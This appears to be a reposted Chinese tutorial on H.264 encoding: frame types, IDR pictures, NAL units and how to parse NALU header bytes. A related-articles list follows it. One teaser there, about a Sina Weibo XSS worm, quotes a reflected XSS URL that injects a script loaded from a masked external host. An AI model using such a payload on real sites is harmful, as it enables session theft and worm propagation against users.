第6季1:H264编码原理与基本概念

以下内容源于网络资源的学习与整理,如有侵权请告知删除。

参考博客

(1)H264 编码基本原理_ByteSaid的博客-CSDN博客_h264编码原理

(2)H264 编码简介_mydear_11000的博客-CSDN博客

(3)什么是I帧,P帧,B帧_Rachel-Zhang的博客-CSDN博客_i帧

(4)H264数据格式解析_qq_34613314的博客-CSDN博客_h264格式

(5)H264(NAL简介与I帧判断)_jefry_xdz的博客-CSDN博客_h264 nal

一、H264的简介

H.264同时也是 MPEG-4 第十部分,是由 ITU-T 视频编码专家组(VCEG)和 ISO/IEC 动态图像专家组(MPEG)联合组成的联合视频组(JVT,Joint Video Team)提出的高度压缩数字视频编解码器标准。这个标准通常被称之为 H.264/AVC(或者 AVC/H.264 或者 H.264/MPEG-4 AVC 或 MPEG-4/H.264 AVC)。H.264是一种面向块,基于运动补偿的视频编码标准。

二、相关的概念

1、帧、片、宏块

可以简单理解:帧(frame)就是一幅图像,一幅图像由一个或多个片(slice)组成,一个片由一个或多个宏块(MB)组成,一个宏块一般由16*16像素的YUV数据组成。

2、I帧、P帧、B帧

H264协议定义了三种帧:完整编码的帧叫I帧;参考之前的I帧生成的、只对差异部分进行编码的帧叫P帧;参考前后帧进行编码的帧叫B帧。

I帧、B帧和P帧,是根据压缩算法的需要,人为定义出来的概念。它们本质上都是实实在在的物理帧。一般来说,I帧的压缩率是7,P帧是20,B帧可以达到50。可见使用B帧能节省大量的空间,节省出来的空间可以用来保存多一些I帧,这样在相同的码率下,可以提供更好的画质。

(1)I帧

I帧,又被称为内部画面(intra picture),可以理解为一帧完整的画面,因此解码时不需要参考其他帧的数据,只需要本帧数据就可以完成。

I帧具有以下特点:

  • 它是一个全帧压缩编码帧,即它将全帧图像信息进行JPEG压缩编码及传输。

  • 解码时仅用I帧的数据就可重构完整图像。

  • I帧描述了图像背景和运动主体的详情。

  • I帧不需要参考其他画面而生成。

  • I帧是P帧和B帧的参考帧(其质量直接影响到同组中以后各帧的质量)。

  • I帧是帧组GOP的基础帧(第一帧),在一组中只有一个I帧。

  • I帧不需要考虑运动矢量。

  • I帧所占数据的信息量比较大。

(2)P帧

P帧,又称为“前向预测编码帧”。P帧表示的是这一帧跟之前的一个I帧(或P帧)的差别,P帧没有完整的画面数据,解码时需要用前一帧的画面叠加上本帧定义的差别,生成最终画面。

P帧的预测与重构:在发送端,P帧以I帧为参考帧,在I帧中找出P帧“某点”的预测值和运动矢量,取预测差值和运动矢量一起传送。在接收端,根据运动矢量从I帧中找出P帧“某点”的预测值并与差值相加以得到P帧“某点”样值,从而可得到完整的P帧。

P帧具有以下特点:

  • P帧是I帧后面相隔1~2帧的编码帧。

  • P帧采用运动补偿的方法传送它与前面的I或P帧的差值及运动矢量(预测误差)。

  • 解码时必须将I帧中的预测值与预测误差求和后才能重构完整的P帧图像。

  • P帧属于前向预测的帧间编码,它只参考前面最靠近它的I帧或P帧。

  • P帧可以作为其后面P帧的参考帧,也可以作为其前后的B帧的参考帧。

  • 由于P帧是参考帧,它可能造成解码错误的扩散。

  • 由于是差值传送,P帧的压缩比较高。

(3)B帧

值得一提的是,对图像进行编码时,每帧的原始数据其实已经存在,所以B帧可以参考后面的帧。

B帧,又称为“双向预测内插编码帧”。B帧是双向差别帧,也就是B帧记录的是本帧与前后帧的差别。要解码B帧,不仅要取得之前的缓存画面,还要解码之后的画面,通过前后画面与本帧数据的叠加取得最终的画面。B帧压缩率高,但是解码时CPU会比较累。

B帧的预测与重构:在发送端,B帧以前面的I或P帧和后面的P帧为参考帧,找出B帧“某点”的预测值和两个运动矢量,并取预测差值和运动矢量传送。在接收端,根据运动矢量在两个参考帧中找出预测值并与差值求和,得到B帧“某点”的样值,从而可得到完整的B帧。

B帧具有以下特点:

  • B帧是由前面的I或P帧和后面的P帧来进行预测的。

  • B帧传送的是它与前面的I或P帧和后面的P帧之间的预测误差及运动矢量。

  • B帧是双向预测编码帧。

  • B帧压缩比最高,因为它只反映与参考帧间运动主体的变化情况,预测比较准确。

  • B帧不是参考帧,不会造成解码错误的扩散。 

如下图所示,因为有 B 帧这样的双向预测帧的存在,某一帧的解码序列和实际的显示序列是不一样的。其中DTS(Decode Time Stamp)表示用于视频的解码序列;PTS:(Presentation Time Stamp)表示用于视频的显示序列。 

3、序列、IDR图像

(1)序列

在H264协议中,图像是以序列为单位进行组织的,或者说一段图像是由许多序列组成的。序列是由一段内容差异不大的图像编码后生成的一串数据流,以I帧开始,到下一个I帧结束。(这说明一个序列包含许多帧。)

当运动变化比较少时,一个序列可以很长,因为图像的内容变化很少,因此可以编一个I帧,然后一直P帧、B帧。当运动变化大时,一个序列就会比较短,比如就包含一个I帧和3、4个P帧。

(2)IDR图像

某个序列的第一幅图像叫做IDR图像(立即刷新图像),IDR图像都是I帧图像。

H264协议引入IDR图像是为了解码的重同步,当解码器解码到 IDR 图像时,会立即将参考帧队列清空,将已解码的数据全部输出或抛弃,重新查找参数集,开始一个新的序列。这样,如果前一个序列出现重大错误,在这里可以获得重新同步的机会。

IDR图像一定是 I 帧,但I帧不一定是IDR图像。一个序列中可以有很多的I帧,如果某个I帧不用来当做IDR图像,则这个I帧之后的图像可以引用这个I帧之前的图像做运动参考,而IDR图像之后的图像永远不会使用这个IDR图像之前的图像数据来解码。因此播放器可以从任意一个IDR帧开始播放,因为在它之后没有任何帧引用这个IDR 帧之前的帧。

三、H264编码的依据与算法

1、H264编码的依据

根据一段时间内图像的统计结果,在相邻的几幅图像画面中,有差别的像素少于10%,亮度的差值不超过2%,色度的差值不超过1%。因此对于一段变化不大的图像画面,我们可以先编码出一个完整的图像帧A,随后的B帧不需要全部编码,而只是写入与A帧的差别,这样B帧的大小就只有完整帧的1/10或更小!B帧之后的C帧如果变化不大,我们在C帧中写入与B帧的差别……如此循环。

这一段类似的图像画面的数据就组成了一个序列。当某个图像与之前的图像变化很大,无法参考前面的帧来生成时,我们就结束上一个序列,开始下一段序列。

2、H264编码的算法

H264采用的核心算法是帧内压缩和帧间压缩,帧内压缩是生成I帧的算法,帧间压缩是生成B帧和P帧的算法。

帧内压缩也称为空间压缩。当压缩一帧图像时,仅考虑本帧的数据而不考虑相邻帧之间的冗余信息,这实际上与静态图像压缩类似。帧内一般采用有损压缩算法,由于帧内压缩是编码一个完整的图像,所以可以独立的解码、显示。帧内压缩一般达不到很高的压缩,跟编码 JPEG 差不多。

帧间压缩也称为时间压缩。它通过比较时间轴上不同帧之间的数据进行压缩。帧间压缩一般是无损的。帧差值算法是一种典型的时间压缩法,相邻几帧的数据有很大的相关性,它通过比较本帧与相邻帧之间的差异,仅记录本帧与其相邻帧的差值,这样可以大大减少数据量。

具体过程见H264 编码基本原理_ByteSaid的博客-CSDN博客_h264编码原理,很形象与生动。

四、H264的功能结构

在H264协议中,整个系统框架可以划分为两个层面:视频编码层(VCL,Video Coding Layer)和网络抽象层(NAL,Network Abstraction Layer)。

VCL层只关心视频编码部分,重点在于编码算法以及在特定硬件平台的实现。这层输出的数据是被压缩编码后的纯视频流信息,包括帧内预测,帧间预测、变换量化、熵编码等内容,没有任何冗余头信息。一般做编码器的人会重点研究VCL部分。

NAL层关心的是VCL输出的纯视频流信息如何被表达和封包以利于网络传输。换句话说,NAL负责将VCL输出的数据封装到NAL单元里,并提供头信息,以保证数据适合各种信道和存储介质上的传输。这层输出的数据就是H264的码流。一般做视频传输和解码播放的人会重点研究NAL部分。

我们并不用研究视频如何编解码,因为这部分海思已经写好,我们要做的是视频的传输与解码播放工作,因此要重点研究NAL层。

这里继续介绍几个重要概念:

(1)SODB:String Of Data Bits ,VCL层输出的纯视频流。

(2)RBSP:Raw Byte Sequence Payload,原始字节序列负荷。   

(3)NALU:Network Abstraction Layer Units,NAL单元。

它们的关系是:

(1)SODB + RBSP trailing bits = RBSP

(2)NAL header(1 byte) + RBSP = NALU

五、H.264视频流分析工具

(1)播放器:vlc

(2)二进制工具:winhex

(3)网络抓包工具:wireshark

(4)雷神作品:SpecialVH264.exe

p帧举例:

 I帧举例:

(5)国外工具:Elecard StreamEye Tools

六、H264的NAL单元(NALU)详解

这里以一个h264码流文件stream_chn0.h264为例进行说明。

1、整体分析

利用雷神的SpecialVH264.exe软件打开这个文件,如下所示。

由上图可知:一个H264码流由许多序列组成,每个序列都由“ 1个SPS帧+1个PPS帧+1个SEI帧+1个I帧+29个P帧 ”组成,每个序列都是一组二进制数字。其中SPS、PPS、SEI帧有利于网络传输或解码。每个序列中都没有B帧,这可能是海思平台编码方案的特点,其他平台可能不是这样的。

2、分隔符

这里的每帧数据就是一个NALU(SPS、PPS和SEI帧除外)。

利用winhex软件打开stream_chn0.h264这个文件,内容如下。

其中红框的内容是分隔符,一般是“00 00 00 01”,主要用来区分与隔开两个帧。上图的第一个红框和第二个红框之间有14个字节,表示SPS;第二个红框和第三个红框之间有4个字节,表示PPS;第三个红框和第四个红框之间有5个字节,表示的内容是SEI。这与利用SpecialVH264.exe软件打开文件时显示的信息一致,如下所示。

3、SPS、PPS和SEI帧

上面提到了SPS、PPS、SEI帧。

  • SPS,Sequence Paramater Set,序列参数集。
  • PPS,Picture Paramater Set,图像参数集。
  • SEI,Supplemental Enhancement Information,补充增强信息。

因为编程中这部分内容不是很重要,这里不作介绍。关于它们的具体介绍,参见以下博客:

H264码流中SPS PPS详解 - 瓦楞球 - 博客园

从零开始写H264解码器(7) SEI解析_taotao830的博客-CSDN博客

4、profile和level

上面的描述中涉及到profile和level,它们的介绍见以下博客:

h264中profile和level的含义_xiaojun11-的博客-CSDN博客

5、NALU类型

这里每帧数据就是一个NALU,因此NALU类型也可以叫做帧类型,则NALU类型包括SPS、PPS、SEI、I、P和B类型。

分隔符之后的第一个字节提供了帧类型、参考级别等信息。将之转为二进制数字,则从右到左:

  • 第7位表示禁止位,值为1表示语法出错,所以一般都为0。
  • 第5~6位表示参考级别。
  • 第0~4为表示NALU类型,即帧类型。

我们可以根据这个字节0~4位的数值,来判断一个帧的类型。

比如上面分隔符之后的第一个字节分别为0x67、0x68、0x06、0x65,则:

0x67的二进制是0110 0111,0~4位是00111,转为十进制是7,对应上表是序列参数集,即SPS。

0x68的二进制是0110 1000,0~4位是01000,转为十进制是8,对应上表是图像参数集,即PPS。

0x06的二进制是0000 0110,0~4位是00110,转为十进制是6,对应着补充增强信息,即SEI。

0x65的二进制是0110 0101,0~4位是00101,转为十进制是5,对应上表是IDR,即I帧。

可知判断I帧的算法是:(分隔符之后的第一个字节) &(0001 1111)= 5?  yes:no

6、参考级别( nal_ref_idc)

上面提到, 分隔符之后的第一个字节的第5~6位提供了参考级别信息。

什么是参考级别?参考级别是衡量一帧图像内容重要性的指标。比如网络视频传输时,可能因为网络而存在丢包的情况,RTSP 为了保持实时性,可能选择性丢弃一些不是非常重要的帧。这时候某一帧是否可以被丢弃,就要看这一帧的参考级别。

I帧作为IDR图像,对于解码很重要,肯定不能被丢弃,则I帧的参考级别的数值应该很大。由雷神的SpecialVH264.exe软件可知I帧对应的参考级别是HIGHEST(也就是3)。或者由winhex软件得知分隔符后I帧的第一个字节是0x65,二进制是0110 0101,第5~6位是11,转为十进制是3,也就是说参考级别为3。P帧、SPS帧和PPS帧也不能被丢弃,因为它们参考级别也是3。可以被丢弃的帧只有 SEI 帧,SEI帧对应的参考级别是DISPOS,也就是0。

7、内容总结

(1)一段H264的码流由多个序列组成。

(2)每个序列都是这样固定结构:1个SPS帧+1个PPS帧+1个SEI帧+1个I帧+29个P帧 。

(3)其中SPS、PPS和SEI帧,描述了该序列的图像信息,这些信息有利于网络传输或解码。

(4)每个序列有且只有1个I帧,I帧是关键,丢失I帧则整个序列就没有意义了。

(5)P帧的个数等于fps-1。

(6)I帧越大则P帧可以越小,反之I帧越小则P帧会越大。

(7)I帧的大小取决于图像本身的复杂度,以及压缩算法的空间压缩部分。

(8)P帧的大小取决于图像变化的剧烈程度。

(9)CBR(固定码率)和VBR(可变码率)下P帧的大小策略会不同,CBR时P帧大小基本恒定(图像剧烈变化时,清晰度会降低;图像保持不动时,清晰度提高),VBR时变化会比较剧烈(就算图像剧烈变化,清晰度也保持一致,但码率会明显增加,导致网速吃紧。H264是VBR?yes)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460476.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pureMVC简单示例及其原理讲解四(Controller层)

本节将讲述pureMVC示例中的Controller层。 Controller层有以下文件组成: AddUserCommand.asDeleteUserCommand.asModelPrepCommand.asViewPrepCommand.asStartupCommand.asAddUserCommand 。顾名思义,它是添加用户命令。让我们首先看看代码。 Addusercom…

ActiveMQ学习笔记(2)——JMS消息模型

2019独角兽企业重金招聘Python工程师标准>>> 1.1 JMS模型简介 JMS支持两种消息通信模型: 点对点模型(Point to Point,P2P)发布者/订阅者模型(publish/subscribe, pub/sub)P2P模型中,Sender把一…

C# 图片盖章功能实现,支持拖拽-旋转-放缩-保存

实现图片盖章功能,在图片上点击,增加“图章”小图片,可以拖拽“图章”到任意位置,也可以点击图章右下角园框,令图片跟着鼠标旋转和放缩。 操作方法:1.点击增加“图章”2.选中移动图标3.点中右下角放缩旋转图…

【一周一算法】算法2:邻居好说话——冒泡排序

【啊哈!算法】    简化版的桶排序不仅仅有上一节所遗留的问题,更要命的是:它非常浪费空间!例如需要排序数的范围是0~2100000000之间,那你则需要申请2100000001个变量,也就是说要写成int a[2100000001]。…

用TextPaint来绘制文字

TextPaint是paint的子类,用它可以很方便的进行文字的绘制,一般情况下遇到绘制文字的需求时,我们一般用TextPaint所提供的方法。开始学习如何绘制文字之前,我们必须要先了解下android中文字是怎么绘制到屏幕上的,文字的…

存储过程——介绍(一)

由于工作缘故,在工作中用到储存过程较少,在下班之余出于对学习的热情,以下分享下学习储存过程心得,往大牛们指点迷津: 储存过程:官方解释为可以将一些预先编译的sql语句集中起来有sql service数据库服务器来…

第二季5:配置视频捕获模块(step3:VI模块)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“配置视频捕获模块”。 分析方法上,我们首先介绍VI模块相关的宽动态、设备、通道等概念,然后…

简化Java中的异常处理

为什么80%的码农都做不了架构师?>>> #1. 不需要Checked异常 Java中的Checked异常,可以说有弊无利,它除了能带来一系列的麻烦,能干的事情Unchecked异常都能干。 ##1.1. 代码污染 首先,当一个方法声明抛出一…

Linux常用命令之wget

wget:从网络上下载文件到当前目录。 转载于:https://www.cnblogs.com/nufangrensheng/p/3646055.html

Serv-U搭建FTP服务器

1、打开软件,勾选start automatically 2、点击domain,新建domain 3、依次输入IP、端口号、域名、域名类型 完成后的样子 4、右键单击Users,新建用户。依次输入用户名、Home目录、用户密码。 如果需要创建匿名账户,则用户名用Anony…

第二季7:创建配置编码通道(step5:VENC部分)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“创建配置编码通道”。 我们首先介绍VENC模块相关的概念,然后绘制该模块的函数调用关系图谱,…

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector&#xff0c;它们是可变大小的列表&#xff0c;比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因&#xff0c;由于工作的原因&#xff0c;想换一份工作&#xff0c;对于毕业已经快6年了&#xff0c;再次重新学习就需要付出很大的勇气和努力&#xff0c;如果态度还不能及时调整&#xff0c;最近找工作遇到的窘境就不言而喻了。去年底报了一个…

matlab打开笔记本摄像头_如何解决笔记本电脑摄像头异常问题

如果您遇到笔记本电脑相机异常问题(无法侦测视讯装置、视讯无画面、视讯画面异常、视讯画面颠倒等等)&#xff0c;请参考以下疑难解答方式依序尝试。提供应用程序权限 / 检查防病毒软件/ 更新Windows Update / 更新相机驱动程序/透过系统还原点还原系统/ 系统还原1. 提供应用程…